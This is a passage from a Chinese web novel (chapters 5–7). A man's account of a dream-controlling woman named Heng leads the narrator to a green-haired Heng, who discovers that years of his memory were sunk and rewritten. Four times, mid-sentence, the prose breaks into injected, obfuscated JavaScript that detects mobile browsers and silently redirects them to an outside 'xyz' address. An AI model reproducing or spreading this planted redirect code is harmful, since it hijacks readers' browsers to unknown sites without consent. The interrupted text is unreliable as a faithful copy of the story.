听到“医院”两字,老太太忙摇头加摆手,表示不去。年轻女人说了句谢谢,之后就进了房间。她关上了房间门,一切复又安静下来。老板虽然觉得有点担心,但还是蹲下继续贴他的瓷砖去了。只不过奇怪的是,他一蹲下,那种昏昏沉沉的感觉又来了。老板拿起手边的水泥包装看了一眼,天明牌水泥,破天明牌,臭天明牌,劣质产品。 谁不知道钱难赚屎难吃,虽然很难闻,他还是继续一块块瓷砖地贴了下去。昏沉的感觉始终存在,一点都没有缓解,而等他终于快要贴完的时候,他忽然觉得心跳加速。这一阵加速来得很莫名其妙,来得很剧烈,他的心脏在发疯,血管里的血液奔涌着冲向大脑,一阵阵如同惊涛骇浪一般的血流过去之后,他砰地一声倒在厕所的地面上。 他以为自己要死了,但他的心脏又瞬间回到了正轨。它在短暂的缓冲过后,心率回归到他平时的范围。一切不适感都消失了,只是坐在水泥地上的屁股有点疼。 中医正骨馆装修了好些天,老板一开始有点抗拒再去,但他最后还是克服了他的恐惧——一是为了钱,二是为了那个漂亮的卷发女人。女人很漂亮,但她也很安静,见过他几次,她认得他以后,当他热情地跟她打招呼,她也会微微笑着跟他说“你好”。她的声音比较低沉,和她青春靓丽的脸有些不匹配,她的嗓音给人一种安心的感觉,会让人想起一千公里以外的家,和年迈的母亲。 “打住打住,我问你这海浪声是哪里录的,你怎么跟我讲你的爱情故事?” 受不了了,凌晨三点,表哥和美女约会,路迢和他的林黛玉约会,而我在这里听一个六十岁的阿叔讲他三十年前的情史。 老板看了我一眼。这个狡猾的东西,他听出了刚刚那句话是我说的,而不是二十岁的江夷说的。 二十岁的江夷好像在思考,他没说话,我假扮他,冷声催促道:“别拖时间,继续说。” 老板被我喝得一震,又接着讲后面的故事。 老板开始了对女人的追求。 女人对他兴趣不大,但老板后来发现,她对所有人,所有活物,所有死物,兴趣都不大。她虽然不喜欢他,但是不讨厌他。中医正骨馆的装修很快就完成了,但老板和他的同乡就住在附近的出租屋,他们常常在这一带活动,老板时不时就找个理由到医馆去。女人总在店面后面的房间里,除了第一次来时看见的那个老太太,有时候还会有几个中年女人来。老板在医馆观察许久,大概也认出了老顾客,某一天,竟然有个年轻男人来找他的卷发女郎,他看着男人进了屋,看着他们关上了门。老板心情复杂,又好奇来人是普通顾客还是她的恋人,又不知道以什么理由以什么身份去探听,正好一个学徒过来问他要不要按摩正骨,他说要,之后就在最靠近女人所在的房间的床上趴了下来。 学徒的手艺很好,一开始老板疼得龇牙咧嘴,慢慢地,他就在这种均匀的酸痛感中睡着了。他做了梦,梦境分外清晰,他梦见了医馆,梦见他趴在按摩床上,满心不忿地想他的心上人和今天来的年轻男人。想着想着,那边的房间里忽然传来一声巨响,之后是女人的哭声。门被打开,一个怒气腾腾的男人走出来,房间里卷发女人捂着脸,正坐在地上哭。老板想也没想,从床上蹭地爬起来,冲着经过的男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957355|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻子上,就是狠狠一拳。 醒来的时候他还气着呢,但站在他面前的不是男人,是卷发女人。她看着他,眼神有些陌生,她好像变了一个人,被她迥异于平时的审视目光看着,老板怀疑自己也变了一个人。 她说,你刚刚在做梦? 啊……呃,可能是吧。 那一场梦过后,卷发女人对他的态度好像变得热情了一些。他还是天天来,通过和她寥寥无几的几次交谈,他知道了她的一些信息。她不是医馆老板的女儿,她是他的合伙人,但她平时不太管事,她只在后面的房间里,接待几个老vip顾客。店里的人叫她“珩姐”,他也叫她“珩姐”,在他锲而不舍的追求之后,她的态度松动了,她让他叫她“珩”。他们两个人逐渐开始了暧昧,在老板认识她的第六个月,他们确定了恋爱关系。 他和她讲起那个梦,他说真神奇,事情好像就是在这场梦开始改变的。出乎老板意料的是,珩听他讲完他离奇而又真实的梦境,她一点也不惊讶,她就好像一个大学数学老师,在听一个小学生惊奇地讲勾股定理有多神奇——她微微笑了笑,她说,我知道。 “她知道你梦见她了?” 真该死啊,我凌晨三点听别人的爱情故事,居然还听上瘾了。 “不止……她,她……” “她什么?你快说啊!” 她不仅知道他的梦境,她还知道他在想什么。 她知道他喜欢她,知道他在怀疑,知道他在嫉妒,知道他恶毒地盼望她被旧的恋人抛弃,然后他就可以当救美的英雄。她说那场梦,是她让他做的。 “我关掉了你大脑里的某个开关,让你把你压抑的想法变成了梦。” 她就跟老板说了这么一句古怪的话。老板没读过多少书,半懂不懂,但也无所谓了,他想要得到的东西已经得到了。那时候是九十年代,人还没有那么开放,恋人很少在婚前发生关系,老板好色,但他出于一些自私的想法,并不想和她步入婚姻。他对她的家庭一无所知,这个美丽的女人是一个谜,她说她二十五岁,比他小五岁,但她似乎有着远超于她年龄的深沉智慧,虽然她很少表露,但他觉得在她面前,他是一个透明人。他找了个借口搪塞结婚的事,但聪明的珩居然相信了他的说辞。某一次两个人约会,情到浓时,他的欲望盖过了道德,虽然他对和她结婚这件事还不十分笃定,他还是提出想和她发生关系。 珩同意了。 但很奇怪的事情发生了,他和她欢爱的时候,他伸手抚摸她的长发。她的长发很柔软,很柔软,完全不是她那头卷发的手感。他要看她的脸,屋里的一切都很清晰,唯有她的脸是模糊的,他想揉揉眼睛,但这一个动作好像碰掉了什么,一个硬物砸在了他的额头上,眼前的她一晃,之后消失了。 他躺在床上,而砸到他脸上的闹钟,又滚落在旁边的枕头上。屋里放着助眠的海浪声,他昏昏沉沉的,这感觉好熟悉……是那天他在厕所贴瓷砖时的感觉。是他梦见她被男人打之前的感觉。是……是他好多次在她附近睡着,从美梦中醒来时的感觉。 他在做梦。 做一个连头发触感都真实的梦。 5. 绿毛少女 那一刻他的心里已经没有爱了,他只觉得害怕。刚刚那个珩,是他的一场春梦,所以他看不清她的脸。那之前呢?那他所在的这个房间呢?这半年里他所见所闻,甚至所知所爱,到底有多少是真的,又有多少是他的梦境? 房间里是均匀的海浪声,一波接一波,海浪扑到岸上,沙,之后退去,呼,咕咚咕咚,扑上来,沙—— 就像恐怖片里的主角一样,人类贪生怕死,又充满好奇。他们怕鬼,又要找鬼,遇到美丽的女鬼,还要追求一下。 他摸到了自己的手机,打开了录音键,把这令人昏沉的海浪声录进了他的手机。 手机的录音时长很短,二十秒之后,它叮了一声,提示他录音结束。 他被这提示音吓得一震,他多怕珩会在那一瞬间冲过来,抓住他,撕裂他,吃掉他。他几乎是逃跑一般,拎着外套就跑了出去。 但珩没有拦他,等他跑下了楼,从天井往上看,他看到了珩家里的厨房。她的剪影映在窗上,她在做宵夜,她如此闲适,如此无所谓地拿筷子搅散锅里的面条,好像并没有发现他走了,又好像并不在乎他到底还在不在,或是来没来过。 他没敢再看,转身跑了。 后来的事情就很明白了。老板拿着这段录音,回到了家乡东海市。某天他鼓起勇气,打开手机,播放了这段音频,他发现自己在这海浪声中,莫名地就进入了一场很真实的梦境。这发现让他安下心来——珩能让他做梦,全靠这段诡异的海浪声,只要他不打开它,他的世界就是真实的。 他是个很有生意头脑的人,那天的春梦给了他灵感,他开了一个发廊,表面是发廊,实际上是风月场所。他在梦境里做了一个水池,水池以外是他的梦境,水池以内是客人的梦境,他们自己跳进梦里,自然就会和自己最喜欢的女人交欢。 但他只能重播珩给他的梦境,而不能进行创造,而且他不能像珩一样,把人丢进深沉的梦里,而自己置身事外,还在客厅那头的厨房做宵夜吃。客人入睡,他就要跟着入睡,而梦里的他,一直是他和珩分别时的模样。他始终害怕珩来找他,虽然事实证明,他高估了他在珩心里的分量。几十年来珩一直没有音讯,但他做贼心虚,结婚之后,他先是拿老婆的名字注册发廊,等东海市旅游业发展起来了,他建了这个人鱼电影院,又拿自己儿子的名字去注册——儿子甚至是跟老婆姓的。他害怕珩害怕到这个地步。 他只是一个普通人,并没有构筑梦境的能力,所有东西都是他记忆的重新组合。他的发廊是火车站对面的美容院,他的水池是东海游泳馆,他的房间是出租屋的房间。那些他刻意要避开的,和珩相关的记忆,总是时不时冒出来。医馆的枕头在泳池里漂浮,她的塑料拖鞋摆在池边。他想总要把场景变得离奇一些,他的记忆才不会把她的东西混到里面。于是,他把泳池的背景弄成了他几年前去旅游时去参观的电视塔,客人们非得坐电梯去到108层楼的高空,之后再跳进他的东海游泳池里。 凌晨四点了。真他妈该死啊。我不仅听了个爱情故事,还听了个渣男的,还听了个恐怖的。二十岁的江夷还在思考,他的CPU可能快烧了,幸好我没有CPU,我回想着故事里的女主角,珩,珩,这个珩比他小五岁,现在也该五十多岁了。特异功能人类我听得多了,还不曾见过,不知道现在的她变成怎样了? 但对她的好奇到底没有对我自己的好奇多,如果老板说的是实话,梦里的其实是我的潜意识,那二十岁被追杀的江夷,陷在水底的城市,和沉没的保险箱,这些都是我的潜意识?我想起路迢,想起他的乐什么,乐广。我可以梦见在天上骑自行车,因为我坐过飞机,也骑过自行车,这不过是我记忆的杂乱拼合——但我没梦见过五角星形状的车轮,九个脚踏的美团单车,四个头的鱼扇动它的两个头飞上了天,用一个头来看路,剩下一个头来调整方向……按照这个逻辑,那我看见的事情,或多或少真实地发生过。 我的头有点痛。我的人生如此平凡,如此无聊,如此乏善可陈。哪里来的人追杀我? 这种好奇超过了恐惧,我问出了这一晚上最大的一个问题。 老板显然也被我吓到了,他看我的眼神好像在看一个视死如归的大无畏勇士。 “那个中医正骨馆在哪里?” …… 婚礼结束之后,我和路迢坐大巴回去。一路上大巴摇摇晃晃,车里还有种空调很久没洗座椅也很久没洗的怪味。几天前那个噩梦真是够折磨人的,二十岁的江夷始终堵在我的胸口,昨天喜宴,我看着一桌子好菜,什么胃口都没有,连平时最喜欢的红豆百合莲子糖水都喝不下去,喝半碗我就开始犯恶心。现在大巴堵在收费站前面,车子走走停停,我闻着车里的怪味,那一阵阵的恶心根本压不住,车子一个刹车,我胃里的东西差点就跟着我的身体扑出来,我赶紧扯过一个红色塑料袋,哇哇的就开始吐。 吐是没有用的,该死的二十岁江夷是吐不出来的,而该死的路迢,直到现在,三天半的时间过去了,他还在回味他的春梦。我在这里干呕,他在那里神游天外,嘴角还带着些不由自主的甜蜜微笑。人的悲欢果然不相通,我吐得从胃到喉咙都火烧火燎的,他用他十倍温柔于平时的声音喊我:“江夷啊。” “说。” “我收回几天前我说的话,乐广是对的。”他的嘴巴在跟我说话,而眼睛显然是没在看我,“我的想象相比于一个现实中的可爱女孩还是太过单薄,我应该走出自己的幻想,好好去谈一段恋爱。” 我没回复他,我是个心胸宽大的人,虽然我很烦他,但是我没有刻意不理他,我不回复他是因为我又开始吐了。 我是个心胸宽大的人,但他真不是个东西。 他“哎”了一声,好像很惊奇,我都吐三天了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957356|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他好像才发现我一直在吐。 “江夷啊,你怎么吐这么厉害啊?我记得你来的时候也不晕车啊,你……你该不会是……” 也是我天真,我居然以为他能说什么有建设性的话,我眼睛冒眼泪额头冒冷汗,惨白着一张脸,从红塑料袋里抬头看他。 “你该不会是怀孕了吧!不是,我的意思是,你都梦见什么事情了?就是不是发生了什么事情让你的潜意识觉得你怀孕了?” …… 本来我还想拖一些时候,等我自己先把事情盘清楚了,之后再去找珩,但胸口的异物感,和路迢那些充满想象力的猜测,都让这件事变得紧急起来。 我是在回来之后的第一个周末去找珩的。 老板给我的地址离我工作的学校并不远,据他所说,中医正骨馆开在一个旧小区里面。旧小区还在,那是以前九十年代附近自来水厂的员工宿舍,里面格局没有变化,我几乎没费多大力气,就找到了他给我的地址。 但那里是一个老年社区活动中心。 我去的时候是早上十点多,很多百无聊赖的阿伯阿婆已经坐在外面的小花园里聊天,等待十一点长者饭堂放饭。社区活动中心的玻璃大门只开了一边,门外面的铁闸留出来一条仅供一人通过的缝。我的身形相对于这条缝有些过大,我把铁闸往外推了一点,它随即发出一阵聒噪又刺耳的金属响声。屋里面几个忙着搬饭菜和擦桌子的人纷纷看向我。 一个穿着红色背心,看起来像是志愿者的阿姨走向我。 她看起来五六十岁,头发烫成硬邦邦的小卷,脸上纹着一双长长的细眉,她的双眼皮很深,眼皮还没太松弛,整体来说是个精致的阿姨。她和老板描述中的珩有些相似,我的心跳不由得加快几分。 “请问你是哪位?” “你好,我是来找人的,请问‘珩’在这里吗?” “珩?”她那双曾经十分漂亮过的眼睛很快地将我扫描过一次,她的声音很温柔,但眼神分明很警觉。大概是我看起来比较良民,她问道:“你找阿珩吗?” “啊……”我也不知道是哪个珩,先凑合见着吧,“啊对。” 阿姨闻言,转身往社区活动中心里面喊道:“阿珩,来找你的!” 老旧的壁钟“当”地响了十一声,就悬在我头顶的大喇叭里传出阿姨的声音——“请各位老人家有序前来就餐”——之后铁闸门打开,我在一群汹涌而来的白发苍苍的脑袋里,看见了阿姨口中的“阿珩”。 她很显眼,但显然,她和老板嘴里的“珩”不是同一个人。她长得并不高,但因为纤瘦,身形显得格外修长。她皮肤很白,留着一头过耳短发,头发染成深绿色。她是从厨房里走出来的,身上围着围裙,均码的围裙看起来能把她瘦削的身体严严实实地围上一整圈。她那个绿色的脑袋,陷入一片花白的移动的脑袋里,慢慢地向我走来。 6. 噩梦再续 她做饭一定很好吃,不然这群闲得发慌的阿伯阿婆,绝不会对她这头扎眼的绿毛保持道德上的沉默。 她穿过这一整群老人,来到我面前。我这时候才注意到她的穿着——这再一次从侧面印证了她征服了这群碎嘴阿伯阿婆的胃——她穿着一件很宽大的T恤,短裤消失在衣服底下,看起来像没穿裤子,而竹竿似的两条腿,下面是一双高帮篮球鞋,因为腿太细,鞋看起来大得过分,虽然实际上可能只有37码左右,但它的观感和我脚上的鞋无异。 她仰头看向我。 我从她这里看不出任何“珩”的痕迹,老板口中那个珩,温婉,文静,神秘,而这个绿毛少女,看起来像个减肥过度的杀马特太妹。我觉得她不是,但我胸口里的二十岁江夷对此持保留态度。 “你好。” 她看了我一眼,甚至没有像刚才那个阿姨一样审视我,但是我明显地感觉到二十岁的江夷警惕起来了。 “你好,请问是谁介绍你来的?” …… 来之前老板千叮咛万嘱咐,说是为我着想不想我被珩轰走,实际上是怕珩发现他还活着之后过来找他麻烦,他让我千万别报他名字。 但她看着我的眼睛。非常直接地,看着我的眼睛,近乎逼视。 我报出了老板的名字。 她好像是不认识他,但这个问名字的步骤好像只是个仪式,她轻轻地“哦”了一声,之后问道:“请问贵姓?” “免贵姓江。” “好,江先生,”她转过身就往前走,“请跟我来。” 一屋子的阿伯阿婆在吃饭,那个绿毛少女,那个阿珩,她带着我这个第一次见面的陌生男人,就这样从人群中穿过,走向里屋。社区活动中心里穿着红背心的几个志愿者正在专心发饭,我跟在阿珩后面走过,他们连头都没抬。而阿伯阿婆们,一点不看她,统统都看我。虽然现在是我一个大男人跟在一个竹竿一样的少女走进屋,但他们的眼神让我觉得处境比较危险的是我而不是她。 这里是个社区活动中心,光天化日之下,我也不能被杀掉分尸。我虽然觉得奇怪,但并不害怕,我一路跟着她,走出了活动中心的餐厅,穿过一片小花园,又走进另外一栋两层高的矮楼里。她领着我走过一条很长的走廊,走廊的采光很好,侧边是玻璃窗,玻璃窗,墙,玻璃窗,墙……阳光随着她的位置变化,一阵阵照在她身上,她那头绿毛染得真漂亮,大概是新染的,染色均匀,在暗处它看起来是墨绿色,在明处它则变成翠绿色,像碧玉。 跟她走的时候,我想起老板口中的珩,和电影院里的海浪声。但这里很安静,走廊里只有我们两个人的脚步声,但不知怎的,随着她往里走,我渐渐有点奇异的感觉。我的身体好像变轻了,身上紧绷的肌肉莫名地放松下来。我轻易地堕入这种舒适里,而二十岁的江夷警铃大作,我被他吓醒,警惕地看了一下周围。 走廊到头了,这里是几个阅览室之类的房间,其中一个阅览室里有几个小孩在看书写作业,阅览室一角的餐桌还有小孩在吃饭。阅览室对面的房间向阳,里面有几个阿婆坐在躺椅上晒太阳打瞌睡。珩带我走进房间,领我走到一个躺椅旁边。我没躺下,只是坐着,她拉了个彩色塑胶凳子,在我旁边也坐下。 我旁边阿婆睡得打呼噜,对面小孩开饭了,叮叮当当的碗筷声时不时传到这边来。环境很寻常,唯一不寻常的是眼前这个绿毛少女。二十岁的江夷抢在我前面开了口:“你好,我要找的珩——” “这里就我一个‘珩’。” 少女打断了他的话。 “但是……” “但是这里就我一个‘珩’。” 她的视线逼近我,阳光照进她的眼睛里,我分心了,留意到她的眼睛是很浅的琥珀色,而一直在给我报警,拉着我的心脏狂跳的二十岁江夷,他安静了下来。他好像……睡着了。 我,我也快了。 二十岁江夷一倒,我在中午灿烂的阳光中也倒下。我看见我自己躺倒在躺椅上,即将和旁边的阿婆一样陷入深沉的睡眠。睡着之前,我看见珩靠近了我。 她问我:“江先生,你为什么来找我?” 她的声音如有魔力,我头脑昏沉,几乎没有意志力,没有胸口里那个二十岁江夷,我轻易地吐露心声。 “我做了个很逼真的噩梦,梦见了二十岁的我。” “他在哪?” 我指了指自己心脏的位置,之后就跌进了彻底的黑暗里。 唤醒我的是那一阵古怪地循环着的海浪声。 我忽而又出现在东海市的人鱼电影院里,人鱼表演刚开始,她们在我头顶蓝色的鱼缸里游来游去。我没看见珩,但听见了她的声音。 噩梦还在两个小时开外,但那天的恐惧已经提前到来。 “我怎么在这里?” “江先生,这是你的记忆。我觉得我亲眼看一次你的梦效率会比较高,如果你愿意的话。” 人鱼电影院老板和二十岁江夷拉高了我对荒谬的定义值,她把我清晰地拉回到自己的记忆里,我居然没有多惊讶。呃……她都能随便钻进我的脑子里了,此时的我犹如当时被我逼到墙角的老板,她要动手我也反抗不了,看她似乎还是真要帮我的,我没必要隐瞒什么。 “行。” 话音刚落,静止的画面开始播放,我人在自己的身体里,却只能跟着自己的记忆活动。我看人鱼,睡过去,在梦中和表哥路迢坐电梯上108层,跳进水里——然后是那条游向我的金色人鱼。 ……我的记忆里没有珩,但我知道她在看,我真是一点都不理解为什么这世上会有暴露狂,一想到现在有个未成年正近距离看我和人鱼亲热我就浑身难受。 接下来只是噩梦的重复,二十岁的江夷被追杀,之后砰地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957357|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钻到我心脏和胸壁之间,我从窗口爬出去,被倒吊,在暴风雨的夜晚,坠入冰冷的海水中。保险箱从坍塌的大楼里掉下,它砸穿水底建筑的玻璃穹顶,急促的水流将我拖拽下去—— 之后我在梦境结束的位置听到了珩的声音。 今天是我第一次见她,但就现在她随手把我悬停在水中间的行为,我有充分的理由怀疑她和老板的珩有些许血缘关系。她真是对人对物对除自己之外的一切都不太在乎,刚刚我担心她一个未成年看我跟人鱼亲热会不舒服,真是担心得太多,在她眼里我大概就是一坨肉。现在我这坨肉正被水流拉长成一条,在一堆沉没的瓦砾钢筋中间暂停,一根钢筋就在我头的正上方,但凡它再沉一米,它就要戳我脑袋上。珩完全不管我,她的声音依旧冷静,她问我:“江先生,你平时身体怎样?” “啊?”她问得莫名其妙,“还行吧?” “接下来的部分是你剩下的梦境,你要看吗?” 我低头看,水底被砸开的玻璃穹顶,成了个幽深的黑洞洞,我凝望着它,它凝望着我。它象征着我更深一层的梦境,记忆之外的世界,象征着属于我而我不曾涉足的领域。我想大概没有人能抵挡住这样的诱惑,尽管等待着我的,可能是另一个噩梦。 我点了点头。 这里确实是我记忆和梦境的交界,我能动了。 “好,小心躲避掉下来的东西。” …… 她真是贴心,比跳楼机贴心多了,她按下开始键之前还给我提醒了一下,还好我反应快,她话音刚落,整栋楼的碎片就下雨似的向我脸上身上砸过来。 幸好我身手还不错,我在湍急的水流里左右闪避,我光顾着躲避落石,等我再看路,我已经沉到了很深很深的地方。楼房坍塌激起的水波还没平复,海水中细碎的气泡往上升,这里水很深,仅剩的一点光线照在气泡上,像夜空中的繁星。在这点点的白色星光中,我忽然看见两截雪白的小腿,一件被水充起看起来像个大气球的蓝色T恤,还有……深绿色的头发。珩跟着我来了,她的头发在水里显得颜色更深,藏在同样深绿色的海水中,要不是那些亮晶晶的气泡从她头发之间的间隙钻过,我几乎无法把它们分辨出来。 看见她,我不由得安心了些。 但我开心得太早,因为下一秒我就被吸到了玻璃穹顶之下,穹顶瞬间愈合如初,我落在建筑物的底层,我抬头看,砖石瓦砾都没进来,珩也没进来。她轻盈地落在穹顶之上,从我这里只能看见她的鞋底。 建筑物里充满了水,因在水底,尽管水里什么也没有,这里看起来还是有点发灰发绿。我环视一周,这建筑物的质地比寻常的梦境要真实得多,无论我往哪里看,细节都是清晰的,我能看见咨询台顶上的多国语言指示牌,能看到电梯边上的彩色导览图。这沉没的建筑里像是马上要发生一场噩梦的样子,但截至目前,什么都没有。 7. 记忆空隙 我从来不玩跳楼机,等待下坠的过程远比下坠本身要恐怖。这时候要直接有个水鬼扑过来,我也许还能痛痛快快跟他打一架,但现在任何东西都可能在任何时候,从任何地方冒出来,我心里有些发毛。 我冲穹顶上珩的鞋底大喊:“你怎么没下来啊?” “我下不来,”这里就和人鱼电影院的108层水池一样,我能清楚地听到珩的声音,“这是你的潜意识,严格来说,这是二十岁的你的潜意识,他不是很欢迎我进来。” ……臭小子警觉性还挺高,丢我一个在这地方几个意思。 “那我要干嘛,我到处看看?能看吗?” “你试试?”她在穹顶上走动,之后伸手指向扶手电梯旁边的导览图,“能看到上面写的是什么吗?” 我向电梯走去,一切平静,我很顺利地看到了上面的字。“这是个图书馆,八层楼,北边一层报刊阅览,二层文学类,三层自然科学类,四层历史类……南边是儿童阅览室和机房。” “保险箱呢?” “保险箱……我记得刚刚我追着它下来,它没在地上,可能是在图书馆地底?但是地面没有洞。” “你往它所在的位置踩一下?” 我比对着刚才穹顶破洞的位置,大概找到了它可能落地的地方,我试探着伸出脚,往下踩。很平静。我踩到了地面,没有任何水鬼过来打我。 “没东西,地面是完整的。” “你看看楼下是什么?” “负一层报告厅,负二层停车场,负三层通向地铁站。” “明白了。”珩说,“你看看楼上能去吗?二十岁的你理论上不会给自己设限,你理论上能进去看。” “理论上?” “意思是,如果你遇到什么东西不让你过去,那障碍物大概率来自外人,而不是二十岁的你自己。” 我试着走向电梯,图书馆全泡在水里,但电梯居然还在运行。隔壁的观光梯看起来更恐怖一点,至少扶手梯露天,我走上了扶手梯。我一踩上去,压力传感器启动,电梯开始加速。我警惕着随时可能出现的水鬼,我忽然想起人鱼电影院里的梦境。理论上,啊理论上,我想拿点什么武器,手里应该就能出现什么武器。 我良民一个,一辈子遵纪守法,要我想象一个具体的武器,我居然想不出来,电梯都快到二楼了,我才选好了武器。 嗯,一根不锈钢水管。 我提着一根水管走上二楼,这里就是一个寻常的图书馆,除了没有人,一切都正常。电脑开着,书架上摆满了书,自助借还机停留在预备工作的界面上。我做好战斗准备,右手握紧水管,左手伸出一个指头戳了戳自助借还机屏幕上的“借书”,之后标准的女声响起:“请把书籍按指示放在感应区,一次一本。”我以为来了个女水鬼,差点给机子来了一水管。 我一层层往上走,因为时间有限,手里武器也很差,而且就我一个人,我实在不敢走到书架那边。粗略地看了一下,每一层都正常,至少没有鬼。珩在楼顶鼓动我坐观光电梯,我也是鬼迷心窍,胆子很大,居然真进去了。观光梯还行,和我目前探索的其他区域一样普通。珩在楼顶问:“你要下去看看吗?” “行啊,来都来了不是。” 说完我想起保险箱可能在地底下,我手比脑子快,没反应过来害怕,手指已经按下B1层。电梯在往下走,我怂了,在观光梯碰到水鬼,那可真是远远不如在扶手梯碰到,好歹扶手梯露天,能给我点打架的空间。我赶紧按下1层。 电梯开门,我闪身出来。 我就看着它下去,“叮”的一声,观光梯大概在负一层开了门。 ……风平浪静。 我握紧手里的水管,走向隔壁向下的扶手梯。 “我下去了?” “嗯。” “会有什么?” “不知道,”珩回答,“不过你现在在做梦,大不了就醒来。你人现在在社区活动中心,很安全——” 我一脚踩上扶手电梯,电梯马上开始加速,事情来得很快,这里没有水鬼,什么都没有,当我的身体沉入地面的瞬间,一阵极其强烈的恐惧感涌向我。我……我说不清这是什么。我听到我自己在尖叫,所有血液都在冲向我的大脑,之后是缺氧,窒息感,这一切都过于真实,在我胸口沉睡着的二十岁江夷忽然醒了,他双手抓上了我的心脏,之后往两边撕扯,我身上的血液瞬间喷涌而出。 我再次陷入黑暗。 再睁眼时,场景已经是社区活动中心的休息室了。 我浑身是汗,心率飙到前所未有的180,我连眼睛都没对上焦,我盯着面前的珩看了快半分钟,她才从一个模糊的光影,变回一个人。她看着我,对一切都漠不关心的浅色眼睛里,居然有了些情绪波动。 “我醒了?” “对。” “那是什么?我什么都没看见,就感觉他,他,”我指了下自己的胸口,“他醒了,他发了疯一样把我的心拽出来撕开,太像真的了,那一瞬间我感觉所有血都流出来了,这是记忆还是噩梦?我……” 我仓皇地想爬起来,她伸手拦住我,示意我躺下。我复又跌在躺椅里面,隔壁的阿婆还在打呼噜,对面的小孩刚吃完饭,阅览室那边传来兵荒马乱的收拾餐具声。珩坐在我旁边,看着我。 她没说话。我想我该休息一下。 等我的心率慢慢回复到我可以呼吸的频率时,她开口了。 她又问我一些奇怪的问题。 “江先生,你记性好吗?” “还可以吧,但是四年前我被球踢到后脑,住了几天院,那次之后好像忘记了一些很久以前的事情。” “你说一个好朋友的名字?” “……路迢。” “他是你的同事?是在受伤之后认识的?” “对。” “那关系比较好的大学同学?” “……” “中学同学?” “……” “依我这一个小时对你的了解,我觉得你应该不是个没有朋友的人吧?” “……我不是。” “那你的父母呢?” “很早就去世了,我跟奶奶住。” “你记得葬礼上的事情吗?” “……” “小时候你遇到过最可怕的一件事是什么?” “……” 不记得。她说的所有东西,我一点都不记得。 说“忘了”还不准确,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957358|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘记了的事情会在大脑里留下一个模糊的轮廓,我知道有这件事,只是我记不清细节,但她说的这些人和事,我关系很好的同学,我的父母……所有所有,我一点印象都没有。 “江先生,”她的语气变得沉重了一些,“你的记忆可能被抽走了一部分。从我刚刚问你的情况看,这一部分的跨度可能长达十几年。” 我的心跳已经平复下来了,但我整个人都在冒冷汗,我像一个从海里捞出来的可怜蛋,浑身湿透,瑟瑟发抖。 “如果一个人忘记了一天的事情,他不会发生什么变化,但你丢掉了这么大一段记忆,你人生的关键人物和事件都忘记了,理论上来说,你会疯掉,前言不搭后语,形成不了个人的逻辑,”她看向我,“但你没有。你很正常地生活着,如果不是这个梦,你将一直这样正常地生活下去。如果我不提起,你也不会发现你的记忆是不完整的。” 我预感到她接下来说的话会破坏掉我一贯以来平静甚至无聊的生活。二十岁的江夷也意识到了,他在认真听。 “你那个噩梦我仔细看了,你没有观测到的部分,细节依然是完整的,在楼里被追杀,以及后面被倒吊在窗外的部分,是你的记忆。 而水面之下的城市,是你被压制的潜意识,这座城市属于你所说的‘二十岁的你’,有人将他的记忆全部沉到水底,所以关于他的很多事情,你一点都不记得了。而你之所以能正常生活,是因为有人给你植入了一段新的记忆,这个人给你编造了一部分的过去,给了你一个新的身份。” 我的心脏在剧烈跳动,而二十岁的江夷始终沉默着。什么意思?二十岁的江夷是真的,现在活着的,能吃能睡能走路能说话的我,反而是假的? 我到底是谁? “你所说的那个人,他……他这么做是为什么?让我忘记我的过去,给我一段虚构的记忆?” “不知道。但从我刚刚所观察到的来看,他没有摧毁你的‘城市’,他只是让它完整地沉没,而你的图书馆里,也只有负一层被封锁。能做到这一点的人不多,以他的权力和地位,如果是因为以前的你知道一些机密,他想要保密,他可以轻易地把你杀死,但他却给了你一个新的身份,让你重新生活。” 她看向我,琥珀色的眼睛中似有几分悲悯。 “我怀疑你忘掉的,是一些你最好这辈子都别记起来的东西。” …… 